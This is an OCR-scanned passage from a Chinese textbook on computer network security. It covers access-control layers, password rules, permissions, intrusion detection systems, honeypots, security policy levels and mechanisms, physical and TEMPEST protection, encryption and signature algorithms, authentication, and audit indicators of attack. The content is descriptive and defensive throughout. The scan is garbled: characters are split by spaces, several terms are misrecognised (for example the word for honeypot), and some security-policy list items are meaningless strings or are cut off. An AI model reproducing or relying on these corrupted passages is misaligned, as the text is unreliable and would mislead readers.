授权 的 人 员 掌 握 其 保密 级 和 口令 ,而且 可 能 要 通过 几 级 口令 ,才能 取出 这 些 资料 。 为 了 保护 

数据 的 安全 性 ,可 限定 一 些 数据 资源 的 读 写 范围 。 例 如 ,有 的 只 能 读 不 能 写 ,或 规定 只 有 少 
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数 用 户 可 对 其 进行 修改 或 写 和 人 新 的 内 容 。 然 而 ,这 些 方法 对 于 一 些 机 密 程度 高 的 信息 和 资 
料 仍 不 是 非常 安全 。 实 际 上 ,对 于 资源 的 访问 控制 ,迄今 为 止 仍 没有 一 个 十 分 有 效 的 保密 方 
法 。 有 些 原理 上 可 行 , 但 技术 上 难以 实现 。 例 如 ,分 析 指 纹 或 字体 。 故 通常 的 办 法 是 经 常 变 
换 口 令 ,以 减少 泄密 的 机 会 ,同时 在 内 部 网 络 与 Internet 连接 之 处 安装 防火 墙 。 

访问 控制 业务 的 目标 是 防止 对 任何 资源 的 非法 访问 。 所 谓 非法 访问 是 指 未 经 授权 的 使 
用 、 泄 露 . 销 毁 以 及 发 布 等 。 访 问 控 制 是 系统 保密 性 、 完 整 性 、 可 用 性 和 合法 使 用 性 的 基础 。 

访问 控制 是 网 络 安 全 防范 和 保护 的 主要 策略 , 它 的 主要 任务 是 保证 网 络 资源 不 被 非法 
使 用 和 非法 访问 。 它 也 是 维护 网 络 系统 安全 保护 网 络 资源 的 重要 手段 。 

下 面 分 述 各 种 访问 控制 策略 。 

1. 入 网 访问 控制 

入 网 访问 控制 为 网 络 访问 提供 了 第 一 层 访问 控制 。 它 控制 哪些 用 户 能 够 登录 到 服务 器 
并 获取 网 络 资源 ,控制 准许 用 户 入 网 的 时 间 和 登录 入 网 的 工作 站 。 用 户 的 入 网 访问 控制 可 
分 为 : 用 户 名 和 口令 的 识别 与 验证 .用 户 账 号 的 默认 限制 检查 。 其 中 的 任何 一 个 步 又 关 未 
通过 ,该 用 户 都 不 能 进入 该 网 络 。 

(1) 对 网 络 用 户 的 用 户 名 和 口令 进行 验证 

这 是 防止 非法 访问 的 第 一 道 防线 。 用 户 注册 时 首先 输入 用 户 名 和 口令 ,服务 器 将 验证 
所 输入 的 用 户 名 是 否 合 法 。 如 果 验 证 合法 , 才 继 续 验 证 用 户 输入 的 口令 ,否则 ,用 户 将 被 拒 
之 网 络 之 外 。 用 户 的 口令 是 用 户 人 网 的 关键 所 在 。 为 保证 口令 的 安全 性 ,用 户口 令 不 能 显 
示 在 显示 屏 上 ,口令 长 度 应 不 少 于 6 个 字符 ,口令 字符 最 好 是 数字 .字母 和 其 他 字符 的 混合 。 
用 户口 令 必须 经 过 加 密 , 加 密 的 方法 很 多 ,其 中 最 常见 的 方法 有 : 基于 单 向 函数 的 口令 加 
密 , 基 于 测试 模式 的 口令 加 密 , 基 于 公 钥 加 密 方案 的 口令 加 密 , 基 于 平方 剩余 的 口令 加 密 , 基 
于 多 项 式 共享 的 口令 加 密 ,基于 数字 签名 方案 的 口令 加 密 等 。 经 过 上 述 方法 加 密 的 口令 , 即 
使 是 系统 管理 员 也 难以 得 到 它 。 用 户 还 可 采用 一 次 性 用 户口 令 , 也 可 用 便携 式 验证 器 (如 智 
能 卡 ) 来 验证 用 户 的 身份 。 网 络 管理 员 应 该 可 以 控制 和 限制 普通 用 户 的 账号 使 用 、 访 问 网 络 
的 时 间 、 方 式 。 用 户 名 或 用 户 账 号 是 所 有 计算 机 系统 中 最 基本 的 安全 形式 。 用 户 账 号 应 只 
有 系统 管理 员 才 能 建立 。 用 户口 令 应 是 每 个 用 户 访 问 网 络 所 必须 提交 的 “证 件 ”, 用 户 可 以 
修改 自己 的 口令 ,但 系统 管理 员 应 该 可 以 控制 口令 的 以 下 几 个 方面 的 限制 : 最 小 口令 长 度 、 
强制 修改 口令 的 时 间 间 隔 .口令 的 唯一 性 .口令 过 期 失效 后 允许 人 网 的 宽 限 次 数 。 

(2) 用 户 账号 的 默认 限制 检查 

用 户 名 和 口令 验证 有 效 之 后 ,再 进一步 履行 用 户 账号 的 默认 限制 检查 。 网 络 应 能 控制 
用 户 登 录入 网 的 站 点 .限制 用 户 人 网 的 时 间 、 限 制 用 户 人 网 的 工作 站 数量 。 当 用 户 对 交 费 网 
络 的 访问 “资费 ”用 尽 时 ,网 络 还 应 能 对 用 户 的 账号 加 以 限制 ,用 户 此 时 应 无 法 进入 网 络 访问 
网 络 资源 。 网 络 应 对 所 有 用 户 的 访问 进行 审计 。 如 果 多 次 输入 口令 不 正确 , 则 认为 是 非法 
用 户 的 入 侵 ,应 给 出 报警 信息 。 

2. 网 络 的 权限 控制 

网 络 的 权限 控制 是 针对 网 络 非法 操作 所 提出 的 一 种 安全 保护 措施 。 用 户 和 用 户 组 被 赋 
予 一 定 的 权限 。 网 络 控制 用 户 和 用 户 组 可 以 访问 哪些 目录 、 子 目录 ,文件 和 其 他 资源 。 可 以 
指定 用 户 对 这 些 文件 .目录 设备 能 够 执行 哪些 操作 。 受 托 者 指派 和 继承 权限 屏蔽 (IRM) 可 
作为 网 络 权限 控制 的 两 种 实现 方式 。 受 托 者 指派 控制 用 户 和 用 户 组 如 何 使 用 网 络 服务 器 的 
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目录 ,文件 和 设备 。 继 承 权限 屏蔽 相当 于 一 个 过 滤器 ,可 以 限制 子 目录 从 父 目 录 那 里 继承 哪 
些 权 限 。 

可 以 根据 访问 权限 将 用 户 分 为 以 下 几 类 : 

(1) 特殊 用 户 ( 即 系统 管理 员 ) 。 

(2) 一 般 用 户 , 系 统管 理 员 根据 他 们 的 实际 需要 为 他 们 分 配 操作 权限 。 

(3) 审计 用 户 , 负 责 网 络 的 安全 控制 与 资源 使 用 情况 的 审计 。 

用 户 对 网 络 资源 的 访问 权限 可 以 用 一 个 访问 控制 表 来 描述 。 

3. 目录 级 安全 控制 

网 络 应 允许 控制 用 户 对 目录 文件 .设备 的 访问 。 用 户 在 目录 一 级 指定 的 权限 对 所 有 文 
件 和 子 目 录 有 效 , 用 户 还 可 进一步 指定 对 目录 下 的 子 目 录 和 文件 的 权限 。 如 在 Novell 
Netware 网 络 系统 中 对 目录 和 文件 的 访问 权限 一 般 有 8 种 : 系统 管理 员 权 限 (Supervisor)、 
读 权 限 (Read) 、. 写 权限 (Write) 创建 权限 (Create) ,删除 权限 (Erase) ,修改 权限 (Modify)、 
文件 查找 权限 (File Scan) 、 存 取 控 制 权限 (Access Control) 。 用 户 对 文件 或 目标 的 有 效 权 限 
取决 于 以 下 因素 : 用 户 的 受托 者 指派 ,用户 所 在 组 的 受托 者 指派 .继承 权限 屏蔽 取消 的 用 户 
权限 。 一 个 网 络 系统 管理 员 应 当 为 用 户 指定 适当 的 访问 权限 ,这 些 访问 权限 控制 着 用 户 对 
服务 器 的 访问 。8 种 访问 权限 的 有 效 组 合 可 以 让 用 户 有 效 地 完成 工作 ,同时 又 能 有 效 地 控 
制 用 户 对 服务 器 资源 的 访问 ,从 而 加 强 了 网 络 和 服务 器 的 安全 性 。 

4. 属性 安全 控制 

当 使 用 文件 .目录 和 网 络 设备 时 ,网 络 系统 管理 员 应 给 文件 .目录 等 指定 访问 属性 。 属 
性 安全 控制 可 以 将 给 定 的 属性 与 网 络 服务 器 的 文件 .目录 和 网 络 设 备 联系 起 来 。 属 性 安全 
在 权限 安全 的 基础 上 提供 更 进一步 的 安全 性 。 网 络 上 的 资源 都 应 预先 标 出 一 组 安全 属性 。 
用 户 对 网 络 资源 的 访问 权限 对 应 一 张 访问 控制 表 , 用 于 表明 用 户 对 网 络 资源 的 访问 能 力 。 
属性 设置 可 以 覆盖 已 经 指定 的 任何 受托 者 指派 和 有 效 权 限 。 属 性 往往 能 控制 以 下 几 个 方面 
的 权限 : 向 某 个 文件 写 数据 .复制 一 个 文件 .删除 目录 或 文件 .查看 目录 和 文件 .执行 文件 、 
隐 含 文件 .共享 .系统 属性 等 。 网 络 的 属性 可 以 保护 重要 的 目录 和 文件 ,防止 用 户 对 目录 和 
文件 的 误 删 除 .执行 修改 .显示 等 。 

5. 网 络 服务 器 安全 控制 

网 络 允许 在 服务 器 控制 台 上 执行 一 系列 操作 。 用 户 使 用 控制 台 可 以 装载 和 缉 载 模块 ， 
可 以 执行 安装 和 删除 软件 等 操作 。 网 络 服 务 器 的 安全 控制 包括 可 以 设置 口令 锁定 服务 器 控 
制 台 ,以 防止 非法 用 户 修 改 、 删 除 重要 信息 或 破坏 数据 ;可 以 设 定 服务 器 登录 时 间 限 制 ,非法 
访问 者 检测 和 关闭 的 时 间 间 隔 。 

6. 网 络 监测 和 锁定 控制 

网 络 管理 员 应 对 网 络 实施 监控 ,服务 器 应 记录 用 户 对 网 络 资源 的 访问 ,对 非法 的 网 络 访 
问 ,服务 器 应 以 图 形 .文字 或 声音 等 形式 报警 ,以 引起 网 络 管理 员 的 注意 。 如 果 不 法 之 徒 试 
图 进入 网 络 ,网 络 服务 器 应 会 自动 记录 企图 尝试 进入 网 络 的 次 数 ,如 果 非 法 访问 的 次 数 达到 
设 定数 值 ,那么 该 账户 将 被 自动 锁定 。 

7. 网 络 端口 和 节点 的 安全 控制 

网 络 中 服务 器 的 端口 往往 使 用 自动 回 呼 设 备 .静默 调制 解 调 器 加 以 保护 ,并 以 加 密 的 形 
式 来 识别 节点 的 身份 。 自 动 回 呼 设备 用 于 防止 假冒 合法 用 户 ,静默 调制 解 调 器 用 于 防范 黑 
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客 的 自动 拨号 程序 对 计算 机 进行 攻击 。 网 络 还 常 对 服务 器 端 和 用 户 端 采 取 控 制 , 用 户 必须 
携带 证 实 身份 的 验证 器 (如 智能 卡 、 磁 卡 、 安 全 密码 发 生 器 )。 在 对 用 户 的 身份 进行 验证 之 
后 , 才 允 许 用 户 进入 用 户 端 。 然 后 ,用 户 端 和 服务 器 端 再 进行 相互 验证 。 

8. 防火 墙 控制 

防火 墙 是 近期 发 展 起 来 的 一 种 保护 计算 机 网 络 安全 的 技术 性 措施 , 它 是 一 个 用 于 阻止 
网 络 中 的 黑客 访问 某 个 机 构 网 络 的 屏障 ,也 可 称 之 为 控制 进 /出 两 个 方向 通信 的 门槛 。 在 网 
络 边界 上 通过 建立 起 来 的 相应 网 络 通信 监控 系统 来 隔离 内 部 和 外 部 网 络 ,以 阻挡 外 部 网 络 
的 侵入 。 


1.4.6 入 侵 检 测 


入 侵 检 测 (intrusion detection) 技 术 是 近年 来 发 展 迅 速 的 一 种 安全 技术 。 

入 侵 检测 技术 , 即 通过 在 计算 机 网 络 或 者 计算 机 系统 的 关键 点 采集 信息 进行 分 析 ,从 中 
发 现 网 络 或 者 系统 中 是 否 有 违反 安全 策略 的 行为 和 被 攻击 的 迹象 。 入 侵 检测 所 使 用 的 软件 
与 硬件 的 组 合 便 是 入 侵 检 测 系统 (IDS)。 

根据 检测 对 象 的 不 同 ,可 将 入 侵 检测 系统 分 为 两 类 : 基于 主机 的 入 侵 检测 系统 (HIDS) 
和 基于 网 络 的 人 侵 检测 系统 (NIDS) 。 

基于 网 络 的 和 人 侵 检测 系统 (NIDS) 是 最 常用 的 一 种 人 侵 检 测 系统 , 它 作为 共享 网 络 的 一 
个 节点 ,对 本 网 段 上 的 通信 数据 进行 侦 听 ,这 种 采集 数据 的 方法 就 是 典型 的 Sniffer 技术 , 通 
过 对 网 络 中 通信 数据 的 分 析 , 发 现 其 中 的 可 疑 痕迹 。 一 般 情况 下 ,NIDS 对 入 侵 行为 的 检测 
多 是 通过 模式 匹配 来 进行 的 。 也 就 是 说 ,选择 某 种 匹配 算法 ,将 获得 的 数据 信息 与 规则 库 
(漏洞 库 ) 中 的 模式 进行 比较 ,从 中 发 现 已 知 的 攻击 行为 。 这 种 入 侵 检测 系统 不 需要 主机 提 
供 严 格 的 审查 ,对 主机 资源 消耗 少 ,并 可 以 提供 对 网 络 通常 的 保护 而 无 须 估 计 复杂 网 络 中 异 
构 主 机 的 特殊 情况 。 但 是 , 误 报 和 漏 报 是 NIDS 的 最 大 问题 ,并 且 NIDS 不 能 对 主机 内 部 的 
活动 进行 检测 ,也 是 一 个 不 足 之 处 。 

基于 主机 的 入 侵 检测 系统 (HIDS) 通 过 提取 并 分 析 主 机 的 审计 记录 (日 志 ) 等 来 检测 入 
侵 。 这 种 和 人 侵 检测 系统 和 主机 结合 紧密 ,往往 需要 根据 不 同类 型 的 主机 系统 采用 不 同 的 检 
测 方法 。 另 外 , 它 的 实时 性 比较 差 , 可 以 作为 事后 追查 人 侵 者 并 提取 证 据 的 一 种 手段 。 


1.4.7 窗 钠 技术 * 


蜜 钠 (honeypot) 是 一 种 计算 机 网 络 中 专门 为 吸引 并 “诱骗 "那些 试图 非法 入 侵 他 人 计算 
机 系统 的 人 而 设计 的 “陷阱 ”系统 。 

蜜 钠 是 一 种 被 侦 听 、 被 攻击 或 者 已 经 被 人 侵 的 资源 ,使 用 和 配置 蜜 把 的 目的 是 使 系统 处 
于 被 侦 听 、 被 攻击 状态 。 蜜 饮 不 会 直接 提升 计算 机 网 络 的 安全 性 ,但 是 它 是 其 他 安全 策略 不 
能 替代 的 一 种 主动 攻击 技术 。 

蜜 饶 是 一 个 可 以 模拟 具有 一 个 或 多 个 攻击 弱点 的 主机 系统 ,为 攻击 者 提供 一 个 易于 被 
攻击 的 目标 。 蜜 饶 中 所 有 的 假 终 端 . 子 网 等 都 经 过 设计 人 员 的 精心 策划 ,以 吸引 攻击 者 的 
攻击 。 

蜜 网 (honeynet) 是 一 个 网 络 系统 ,一 个 典型 的 蜜 网 包括 多 台 蜜 铅 和 防火 墙 , 控 制 网 络 通 
信 流 并 记录 下 黑客 的 行动 ,同时 尽量 减 小 或 排除 对 因特网 上 其 他 系统 造成 的 风险 。 蜜 网 采 
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用 多 种 技术 保证 网 络 安 全 ,主要 有 欺骗 技术 信息 捕获 、 实 时 监控 等 。 

数据 收集 是 设置 蜜 把 的 另 一 项 技术 挑战 。 蜜 钠 监 控 者 只 要 记录 下 进出 系统 的 每 个 数据 
包 , 就 能 够 对 黑客 的 所 作 所 为 一 清二 楚 。 蜜 饶 本 身上 面 的 日 志文 件 也 是 很 好 的 数据 来 源 。 
但 日 志文 件 很 容易 被 攻击 者 删除 ,所 以 通常 的 办 法 就 是 让 蜜 饶 向 在 同一 网 络 上 但 防御 机 制 
较 完 善 的 远程 系统 日 志 服 务 器 发 送 日 志 备份 。 


1.5 实现 网 络 安全 的 策略 问题 


在 建立 系统 的 网 络 安全 之 前 ,必须 要 明确 需要 保护 的 资源 和 服务 类 型 .重要 程度 和 防护 
对 象 等 。 安 全 策略 是 由 一 组 规则 组 成 的 ,对 系统 中 所 有 与 安全 相关 元 素 的 活动 做 出 一 些 限 
制 性 规定 。 系 统 提 供 的 安全 服务 ,其 规则 基本 上 都 来 自 安 全 策略 。 


1.5.1 网 络 安全 的 特征 


计算 机 网 络 的 发 展 使 信息 的 共享 和 应 用 日 益 广泛 与 深入 ,但 是 信息 在 通信 和 网络 上 存储 、 
共享 和 传输 ,会 被 非法 窃取 、 截 获 或 算 改 ,而 导致 不 可 估量 的 损失 。 

实践 中 计算 机 网 络 主要 有 以 下 3 类 不 同 的 安全 威胁 : 

(1) 未 经 授权 访问 (unauthorized access) , 指 非 授 权 的 人 侵 。 

(2) 信息 泄漏 (leakage of information) ,造成 有 价值 的 或 高 度 机 密 的 信息 泄漏 。 

(3) 拒绝 服务 (denial of service) ,使 得 任务 难以 或 不 可 能 继续 执行 。 

要 保证 网 络 信息 的 安全 ,计算 机 网 络 应 该 具备 以 下 特征 。 

(1) 保密 性 : 信息 不 泄漏 给 非 授 权 用 户 实体 或 过 程 , 仅 供 其 利用 的 特性 。 

(2) 完整 性 : 在 存储 或 传输 的 过 程 中 ,信息 保持 不 被 修改 ,不 被 破坏 和 丢失 的 特性 。 

(3) 可 用 性 : 可 被 授权 实体 访问 并 要 求 使 用 的 特性 , 即 当 需要 时 应 能 够 存 取 所 需要 的 


(4) 可 控 性 : 对 信息 的 传播 及 其 内 容 具有 控制 的 能 力 。 
1.5.2 网 络 安全 策略 与 安全 机 制 


安全 策略 的 目的 是 决定 一 个 计算 机 网 络 的 组 织 机 构 怎 样 来 保护 自己 的 网 络 及 其 信息 ， 
一 般 来 说 ,保护 的 政策 应 包括 两 部 分 : 一 个 总 的 策略 和 一 个 具体 的 规则 。 

总 的 策略 用 于 阐明 安全 政策 的 总 体 思想 ,而 具体 的 规则 用 于 说 明 什 么 是 被 允许 的 ,什么 
是 被 禁止 的 。 

总 的 安全 策略 是 制定 一 个 组 织 机 构 的 战略 性 指导 方针 ,并 为 实现 这 个 方针 分 配 必需 的 
人 力 和 物力 。 一 般 由 网 络 组 织 领 导 机 构 和 高 层 领 导 来 主持 制定 这 种 政策 ,以 建立 该 机 构 的 
安全 计划 和 基本 的 框架 结构 。 

1. 网 络 安全 策略 的 作用 

(1) 定义 该 安全 计划 的 目的 和 在 该 机 构 中 设计 的 范围 。 

(2) 把 任务 分 配给 具体 部 门 和 人 员 ,并 且 实 施 这 种 计划 。 

(3) 明确 违反 政策 的 行为 及 其 处 理 措施 。 

针对 互联 网 的 系统 情况 ,可 以 有 以 下 一 些 考虑 。 
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(1) 根据 全 系统 的 安全 性 ,做 统一 规划 ,对 安全 设备 统一 

(2) 以 网 络 作为 安全 系统 的 基本 单元 。 

C3) edhe eee 

(4) 对 网 络 采取 访问 控制 措 

(5) 负责 安全 审计 跟踪 ee 

(6) 站 网 络 占 的 效 枪 攻 洛 可 天 中 外 扣 栓 放 表 久生 员 标 

(7) 整个 系统 采用 统一 的 密 钥 管理 措施 。 

(8) 采用 防 电磁 泄漏 技术 ,特别 注意 电磁 辐射 。 

(9) 采取 抗 病毒 人 侵 和 检测 消毒 措施 。 

(10) 采取 一 切 技 术 和 非 技 术 手 段 来 保证 系统 的 安全 运行 。 

2. 网 络 安全 策略 的 等 级 

网 络 安全 策略 可 分 为 以 下 4 个 等 级 。 

(1) 不 把 内 部 网 络 和 外 部 网 络 相连 ,因此 一 切 都 被 禁止 。 

(2) 除 那 些 被 明确 允许 之 外 ,一 切 都 被 禁止 。 

(3) 除 那 些 被 明确 禁止 之 外 ,一 切 都 将 被 允许 。 

(4) 一 切 都 被 允许 ,当然 也 包括 那些 本 来 被 禁止 的 。 

可 以 根据 实际 情况 ,在 这 4 个 等 级 之 间 找 出 符合 自己 的 安全 策略 。 当 系统 自身 的 情况 
发 生变 化 时 ,必须 注意 及 时 去 修改 相应 的 安全 策略 。 

3. 网 络 安全 策略 的 内 容 

网 络 的 安全 策略 重点 包括 如 下 内 容 。 

(1) 网 络 管理 员 的 安全 责任 : 该 策略 可 以 要 求 在 每 台 主机 上 使 用 专门 的 安全 措施 , 登 
录用 户 名 称 , 监 测 和 记录 过 程 等 ,还 可 以 限制 在 网 络 连接 中 所 有 的 主机 不 能 运行 应 用 程序 。 

(2) 网 络 用 户 的 安全 策略 : 该 策略 可 以 要 求 用 户 每 隔 一 段 时 间 改 变 其 口令 ;使 用 符合 
安全 标准 的 口令 形式 ;执行 某 些 检查 ,以 了 解 其 账户 是 否 被 别人 访问 过 。 

(3) 正确 利用 网 络 资源 : 规定 谁 可 以 使 用 网 络 资源 ,他 们 可 以 做 什么 ,不 应 该 做 什么 
等 。 对 于 E-mail 和 计算 机 活动 的 历史 ,应 受到 安全 监视 ,告知 有 关 人 员 。 

(4) 检测 到 安全 问题 时 的 策略 : 当 检测 到 安全 问题 时 ,应 做 什么 ? 应 该 通知 什么 部 门 ? 
这 些 问题 都 要 明确 。 

4. 网 络 的 安全 机 制 

具体 的 安全 规则 就 是 根据 安全 策略 规定 的 各 种 安全 机 制 。 如 身份 认证 机 制 .授权 机 制 、 
访问 控制 机 制 .数据 加 密 机 制 .数据 完整 性 机 制 ,数字 签名 机 制 、 报 文 鉴别 机 制 .路 由 控制 机 
制 .业务 流 填充 机 制 等 。 

如 授权 机 制 是 针对 不 同 用 户 赋予 不 同 的 信息 资源 的 访问 权限 。 对 授权 用 户 控制 的 要 求 
如 下 。 

(1) 一 致 性 : 即 对 信息 资源 的 控制 没有 二 义 性 ,各 种 定义 之 间 不 冲突 。 

(2) 统一 性 : 对 所 有 信息 资源 进行 集中 管理 ,安全 政策 统一 

(3) 审计 功能 : 可 以 对 所 有 授权 用 户 进行 审计 跟踪 检查 。 

(4) 尽 可 能 提供 相近 力度 的 检查 。 
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1.5.3 网络 安全 的 实现 


实现 网 络 安全 ,不 仅 靠 先进 的 技术 ,而且 也 靠 严格 的 安全 管理 .安全 教育 和 法 律 的 约束 。 
先进 的 网 络 安全 技术 是 网 络 安全 的 根本 保证 ,用 户 对 自身 面临 的 威胁 进行 风险 分 析 和 评估 ， 
决定 其 所 需要 的 安全 服务 种 类 ,选择 相应 的 安全 机 制 , 然 后 集 先进 的 安全 技术 ,形成 全 方位 
的 安全 系统 。 具 体 有 以 下 几 个 方面 。 

1. 数据 物理 安全 保证 

物理 安全 策略 的 目的 是 保护 计算 机 系统 、 网 络 服务 器 .打印 机 等 硬件 实体 和 通信 和 链 路 免 
受 自然 灾害 、 人 为 破坏 和 搭 线 攻击 ;验证 用 户 的 身份 和 使 用 权限 ,防止 用 户 越权 操作 ;确保 计 
算 机 系统 有 一 个 良好 的 电磁 兼容 工作 环境 ;建立 完备 的 安全 管理 制度 ,防止 非法 进入 计算 机 
控制 室 和 各 种 偷窃 破坏 活动 的 发 生 。 

抑制 和 防止 电磁 泄漏 ( 即 TEMPEST 技术 ) 是 物理 安全 策略 的 一 个 主要 问题 。 目 前 主 
要 防护 措施 有 两 类 : 一 类 是 对 传导 发 射 的 防护 ,主要 采取 对 电源 线 和 信号 线 加 装 性 能 良好 
的 滤波 器 , 减 小 传输 阻抗 和 导线 间 的 交叉 耦合 。 另 一 类 是 对 辐射 的 防护 ,这 类 防护 措施 又 可 
分 为 以 下 两 种 : 一 是 采用 各 种 电磁 屏蔽 措施 ,如 对 设备 的 金属 屏蔽 和 各 种 接 插件 的 屏蔽 , 同 
时 对 机 房 的 下 水 管 . 暖 气管 和 金属 门窗 进行 屏蔽 和 隔离 ;二 是 干扰 的 防护 措施 , 即 在 计算 机 
系统 工作 的 同时 ,利用 干扰 装置 产生 一 种 与 计算 机 系统 辐射 相关 的 伪 噪 声 向 空间 辐射 来 扼 
盖 计 算 机 系统 的 工作 频率 和 信息 特征 。 

2. 数据 机 密 保证 

机 密 性 由 加 密 算法 保证 。 现 在 金融 系统 和 商界 普遍 使 用 的 算法 是 美国 数据 加 密 标准 
DES。Internet 上 免费 提供 PGP 电子 邮件 安全 软件 包 。 


3. 数据 完整 性 保证 
完整 性 指 信 息 不 会 被 非 授 权 修 改 及 信息 保持 一 致 性 等 。 数 据 的 完整 性 包括 数据 单元 完 
整 性 和 数据 单位 序列 完整 性 。 


完整 性 是 在 数据 处 理 过 程 中 , 在 原来 数据 和 现行 数据 之 间 保 持 完 全 一 致 的 证 明 手 段 。 
(1) 数字 签名 。 

现在 比较 普遍 采用 的 签名 算法 有 RSA 和 DSS 。 

(2) 数据 报 文 鉴别 算法 。 

。 MD5 算法 : 由 RSA 公司 设计 ,网 上 免费 提供 。 

。 X9. 9 算法 : 用 DES 算法 实现 。 


4. 数据 可 控 保证 
即 对 信息 的 传播 及 内 容 具 有 控制 能 力 。 
5. 数据 可 用 保证 


可 用 性 指 合 法 用 户 的 正常 请 求 能 及 时 正确、 安全 地 得 到 服务 或 回应 。 
数据 的 可 用 性 就 是 要 保障 网 络 中 数据 无 论 在 何 时 ,无 论 经 过 何 种 处 理 , 只 要 需要 ,信息 
必须 是 可 用 的 。 
6. 身份 鉴别 保证 
鉴别 认证 业务 又 叫 实体 鉴别 服务 。 认 证 业务 提供 了 关于 某 人 或 某 事 ( 称 为 实体 ) 的 身份 
保证 , 即 当 某 个 实体 声称 具有 某 个 特定 的 身份 时 ,该 业务 将 会 证 实 这 一 声称 的 正确 性 。 口 令 
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就 是 一 种 熟知 的 认证 方法 。 

认证 又 可 分 为 对 等 实体 鉴别 认证 和 数据 源 点 鉴别 认证 两 种 。 对 等 实体 鉴别 认证 是 指 对 
参与 某 次 通信 连接 或 会 话 远 端 一 方 提交 的 身份 给 予 鉴别 认证 。 数 据 源 点 鉴别 认证 是 指 对 某 
个 数据 项 的 发 送 者 所 提交 的 身份 给 予 鉴别 认证 。 

鉴别 认证 是 一 种 最 重要 的 安全 业务 。 所 有 安全 业务 几乎 都 依赖 于 它 。 它 是 对 付 假冒 攻 
击 的 一 种 有 效 方法 。 

身份 鉴别 技术 是 计算 机 内 部 安全 保密 防范 最 基本 的 措施 ,也 是 计算 机 安全 保密 防范 的 
第 一 道 防线 。 这 种 技术 是 对 终端 用 户 的 身份 进行 识别 和 验证 ,以 防止 非法 用 户 闪 和 人 计算 机 。 
身份 鉴别 方法 有 3 种 : 口令 验证 .通行 证 验证 和 人 类 特征 验证 。 

(1) 口令 验证 是 验证 用 户 是 否 合法 ,这 种 验证 方法 广泛 地 应 用 于 各 个 方面 。 

(2) 通行 证 验证 类 似 于 钥匙 ,主要 是 使 用 磁卡 和 “灵巧 卡 ”。 

(3) 人 类 特征 验证 是 验证 用 户 的 生物 特征 或 下 意识 动作 的 结果 。 通 常 验证 的 特征 有 : 
指纹 视网膜, 语音 、 手 写 签 名 等 。 人 类 特征 具有 很 高 的 个 体 性 和 防伪 造 性 ,因此 这 种 验证 方 
法 的 可 靠 性 和 准确 度 极 高 。 如 指纹 、 视 网 膜 ,世界 上 几乎 没有 任何 两 个 人 是 一 样 的 ;语音 
手写 签名 虽然 能 模仿 得 很 像 , 但 使 用 精密 的 仪器 来 分 析 , 可 以 找 出 其 中 的 差异 。 目 前 国外 已 
研制 出 指纹 锁 和 眼底 锁 。 但 由 于 这 些 人 类 特征 验证 的 设备 相当 复杂 ,造价 很 高 ,因此 还 不 能 
被 广泛 地 应 用 。 

7. 数据 防 抵赖 保证 

不 可 抵赖 和 不 可 和 否认, 用户 不 能 抵赖 自己 曾 做 出 的 行为 , 也 不 能 否认 曾经 接 到 对 方 的 
信息 , 这 在 交易 系统 中 十 分 重要 。 

8. 审计 与 监测 保证 

计算 机 安全 保密 防范 的 第 三 道 防 线 是 审计 跟踪 技术 ,审计 跟踪 是 一 种 事后 追查 手段 , 它 
对 涉及 计算 机 系统 安全 保密 的 操作 进行 完整 的 记录 ,以 便 事后 能 有 效 地 追查 事件 发 生 的 用 
户 、 时 间 、 地 点 和 过 程 。 

审计 是 记录 用 户 使 用 计算 机 网 络 系统 进行 所 有 活动 的 过 程 ;跟踪 是 对 发 现 的 侵犯 行为 
实时 监控 ,掌握 有 力 证 据 , 及 时 阻 断 攻击 的 行动 。 这 是 提高 系统 安全 保密 性 的 重要 工作 。 

计算 机 网 络 系 统 应 有 详细 的 系统 日 志 , 记 录 每 个 用 户 每 次 活动 (访问 时 间 和 访问 的 数 
据 ` 程 序 . 设 备 等 ) ,以 及 系统 出 错 信 息 和 配置 修改 信息 。 

对 涉 密 程度 高 的 系统 ,系统 日 志 应 该 能 够 自动 检测 并 记录 侵犯 系统 安全 保密 的 事件 ,并 
能 够 及 时 自动 报警 。 系 统 安全 保密 员 应 该 定期 审查 系统 日 志 , 对 于 涉及 国家 机 密级 和 国家 
秘密 级 的 系统 ,审查 周期 不 超过 一 个 月 ,对 于 涉及 国家 绝密 级 的 系统 ,审查 周期 不 超过 一 周 。 

审计 信息 对 于 发 现 网 络 是 否 被 攻击 和 确定 攻击 源 非 常 重要 ,也 是 查处 各 种 侵犯 系统 安 
全 保密 事件 的 有 力 证 据 。 因 此 , 除 使 用 一 般 的 网 管 软件 和 系统 监控 功能 外 ,还 应 使 用 目前 较 
为 成 熟 的 网 络 监控 设备 或 实时 和 人 侵 检 测 设 备 , 以 便 对 网 络 操作 进行 实时 检查 ,监控 .报警 和 
阻 断 , 从 而 防止 针对 网 络 的 攻击 行为 。 

当 网 络 出 现 以 下 情况 时 ,应 该 考虑 是 否 有 人 正在 攻击 网 络 系统 ,危及 信息 保密 。 

(1) 系统 冲突 。 

(2) 出 现 新 的 用 户 账 号 。 

(3) 某 个 用 户 账号 长 时 间 没 有 活动 。 
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(4) 出 现 新 的 文件 (通常 有 一 个 奇怪 的 文件 名 ,如 data. xx 文件 名 ) 。 

(5) 文件 长 度 或 日 期 被 改变 。 

(6) 令 人 费解 的 低劣 的 系统 性 能 。 如 系统 响应 变 得 特别 慢 。 

(7) 可 疑 的 试探 。 如 某 个 节点 的 多 次 登录 尝试 。 

(8) 拒绝 服务 。 如 合法 用 户 被 排斥 不 能 进入 计算 机 网 络 系统 或 不 能 得 到 相应 的 服务 。 

除 以 上 几 个 方面 外 ,还 应 做 到 以 下 两 点 : 

(1) 严格 的 安全 管理 。 各 计算 机 网 络 使 用 机 构 、 企 业 和 单位 应 建立 相应 的 网 络 管理 办 
法 ,加强 内 部 管理 ,建立 合适 的 网 络 安全 管理 系统 ,建立 安全 审计 和 跟踪 体系 ,提高 整体 网 络 
的 安全 意识 。 

(2) 制定 严格 的 法 律 \ 法 规 。 计 算 机 网 络 是 一 种 新 生 事物 ,好 多 行动 无 法 可 依 ,无 章 可 
循 ,因此 导致 网 上 计算 机 犯罪 处 于 无 序 状态 。 面 对 日 趋 严 重 的 网 络 犯 罪 \ 计 算 机 犯罪 ,必须 
严格 执行 法 律 .法规 ,并 加 强 执法 力度 ,坚决 .严厉 打击 计算 机 犯罪 和 网 上 犯罪 活动 ,保护 国 
家 机 密 和 网 民 的 合法 权益 ,使 非法 犯罪 分 子 摄 于 法 律 ,不 敢 轻 举 妄 动 。 


1.6 计算 机 网 络 安全 立法 


法 律 是 规范 人 们 一 般 社 会 行为 的 准则 。 社 会 规范 是 调整 信息 活动 中 人 与 人 之 间 的 行为 
